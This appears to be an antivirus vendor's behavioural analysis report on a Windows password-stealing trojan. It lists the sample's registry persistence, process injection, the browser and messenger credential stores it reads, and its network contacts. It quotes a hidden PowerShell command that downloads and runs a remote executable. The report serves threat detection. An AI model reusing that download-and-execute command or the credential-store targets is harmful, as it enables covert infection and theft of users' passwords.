Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1....
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-...
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Downloads and executes
- http://19#.#.194.245/xpertwar.exe as %appdata%\xpertwar.exe
Injects code into
the following user processes:
- iexplore.exe
Searches for registry branches where third party applications store passwords
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Software\AIM\AIMPRO]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKLM>\Software\Wow6432Node\Miranda]
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghghš.sct
- %APPDATA%\ns.owt..tmp
- %APPDATA%\ktii.dq.tmp
- <Current directory>\~wrd0000.tmp
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\cnexhnwdz4.txt
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\cnexhnwdz2.txt
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.pas
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\ut
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.exe
- %APPDATA%\cmchagnui.exe
- %APPDATA%\xpertwar.exe
- %APPDATA%\bhokck..tmp
- %APPDATA%\k.f.aah.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.exe
Deletes the following files
- %TEMP%\abctfhghgdghghš.sct
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\cnexhnwdz2.txt
- %APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\cnexhnwdz4.txt
- %APPDATA%\ktii.dq.tmp
- %APPDATA%\ns.owt..tmp
- %APPDATA%\bhokck..tmp
- %APPDATA%\k.f.aah.tmp
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'go##le.ru':80
TCP
HTTP GET requests
- http://19#.#.194.245/xpertwar.exe
- http://19#.#.194.245/xpertee.exe
UDP
- DNS ASK go##le.ru
- DNS ASK zy####w.duckdns.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\xpertwar.exe'
- '%APPDATA%\cmchagnui.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#.194.245/xpertwar.exe','%APPDATA%\xpertwar.exe');Start-Process '%...' (with hidden window)
Executes the following
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' %APPDATA%\CmChaGnuI.exe
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\cnexhnwdz0.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\cnexhnwdz1.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\cnexhnwdz2.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\cnexhnwdz3.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\cnexhnwdz4.txt"
